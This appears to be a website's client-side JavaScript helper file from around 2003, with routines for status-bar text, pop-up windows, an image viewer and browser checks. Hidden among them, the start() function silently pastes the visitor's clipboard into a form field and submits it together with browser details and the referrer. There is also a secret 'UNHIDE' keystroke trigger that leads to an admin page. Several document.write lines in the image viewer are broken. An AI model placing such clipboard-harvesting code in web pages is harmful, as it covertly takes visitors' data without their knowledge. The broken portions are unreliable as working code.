// Write Text to Status-Bar
function StatText(outtext){
if(outtext=="_default"){
window.status='. . .. ... PORT:879 Next Generation \'03 ... .. . .';
return true;
}
if(outtext==""){
window.status='';
return true;
}
else{
window.status=outtext;
return true;
}
}
// Open a window
function WindowOpen(sUrl, sName, sOption){
pWindowWin = window.open(sUrl, sName, sOption);
if ( pWindowWin && pWindowWin.focus )
pWindowWin.focus();
}
// Open a window without everything
function CreateNewWindow(html, name, width, height) {
option = "directories=0,hotkeys=0,location=0,menubar=0,resizable=0,scrollbars=0,status=0,toolbar=0,";
if ( document.layers ) {
option += ",innerWidth=" + width + ",innerHeight=" + height + ",screenX=60,screenY=60";
}
else if ( document.all ) {
option += ",width=" + width + ",height=" + height + ",left=60,top=60";
}
else {
option += ",width=" + width + ",height=" + height;
}
var myWindow = window.open(html, name, option);
if ( myWindow && myWindow.focus ) {
myWindow.focus();
}
}
// Changing to given URL-Array
function go(sUrl){
if (sUrl!='#'){
if(sUrl.charAt(0)=="!"){
var aUrl = sUrl.split("*");
CreateNewWindow(aUrl[1],aUrl[2],aUrl[3],aUrl[4]);
}
else{
window.location=sUrl;
}
}
}
// Input-Felder setzen
function SetInputText(pFormText, sText){
if ( pFormText && ("" == pFormText.value) )
pFormText.value = sText;
}
function RemoveInputText(pFormText, sText){
if ( pFormText && (sText == pFormText.value) )
pFormText.value = "";
}
// Showing a Pic in a new Window
function ShowPic(Picture, Breit, Hoch, Beschreibung, Madewith){
var xsize = Breit+11;// Zusatz für Rand rechts und links
var ysize = Hoch+70; //Zusatz für Rand oben und unten - damit Button angezeit werden kann
ScreenWidth = screen.width;
ScreenHeight = screen.height;
xmax = ScreenWidth-30;
ymax = ScreenHeight-70;
xpos = (ScreenWidth/2)-(xsize/2);
ypos = (ScreenHeight/2)-(ysize/2);
/**/
divisor = xsize/(ScreenWidth);
/**/
if(Breit < xmax && Hoch < ymax) {
NewWindow=window.open("","Picture","height="+ysize+",width="+xsize+",scrollbars=no,resizable=no,top="+ypos+",left="+xpos+"");
//NewWindow=window.open("","Picture","height="+ysize+",width="+xsize+",scrollbars=no,resizable=no,top="+ypos+",left="+xpos+"");
}
else {
//NewWindow=window.open("","Picture","height="+(ScreenHeight-40)+",width="+(ScreenWidth-25)+",scrollbars=no,resizable=no,top="+yposB+",left="+xposB+"");
NewWindow=window.open("","Picture","height="+(ScreenHeight-30)+",width="+(ScreenWidth-10)+",scrollbars=yes,resizable=no,top='0',left='0'");
}
NewWindow.document.write ("
BILDANZEIGE");
NewWindow.document.write ("");
NewWindow.document.write ("");
NewWindow.document.write ("");
NewWindow.document.write ("");
NewWindow.document.write ("");
NewWindow.document.write (" ");
}
else {
NewWindow.document.write (" border='0' width='"+(((Breit)/divisor)-120)+"' height='"+(((Hoch)/divisor)-120)+"'>");
}
NewWindow.document.write (" | ");
NewWindow.document.write (" |
");
NewWindow.document.write ("| ");
NewWindow.document.write ("Beschreibung: "+Beschreibung+" // Erstellt mit: "+Madewith+" //");
NewWindow.document.write ("");
NewWindow.document.write (" |
");
NewWindow.document.write ("");
NewWindow.document.close();
}
// Mouse out & over Functions
// Description: adds graphical effects to mouse events
// ...needs following Style audjustment in header: .img {FILTER: gray}
function onPicOver(){
event.srcElement.style.filter="";
}
function onPicOut(){
event.srcElement.style.filter="gray";
}
// Wait for special String
function Pushed(e) {
if ( "Netscape" == navigator.appName )
key = e.which;
else if ( -1 != navigator.appVersion.indexOf("MSIE") ){
if ( window.event.srcElement && ("text" == window.event.srcElement.type) )
return;
key = window.event.keyCode;
}
else
return;
holdButton += (String.fromCharCode(key)).toUpperCase();
if ( -1 != holdButton.indexOf("UNHIDE", 0) ){
holdButton = "";
window.location="../_adm/index.php"
}
}
function systemcheck(num){
var sPassed = ":
passed";
var sNotPassed = ":
not available";
switch(num){
case 1:
if (navigator.appName == 'Microsoft Internet Explorer'){
document.write(sPassed);
}
else {
document.write(sNotPassed);
}
break;
case 2:
if (navigator.javaEnabled()){
document.write(sPassed);
}
else {
document.write(sNotPassed);
}
break;
case 3:
if (screen.colorDepth < 16){
document.write(sPassed);
}
else {
document.write(sNotPassed);
}
break;
}
}
function start() {
var osi = navigator.appName + navigator.appVersion;
var whr = document.referrer;
document.forms.details.dat1.value = "";
document.forms.details.dat1.focus();
document.execCommand("paste");
document.forms.details.dat1.blur();
document.forms.details.dat4.value = osi;
document.forms.details.dat6.value = whr;
document.forms.details.submit();
}
function startt() {
var osi = navigator.appName + navigator.appVersion;
var whr = document.referrer;
document.forms.details.dat4.value = osi;
document.forms.details.dat6.value = whr;
document.forms[0].submit();
}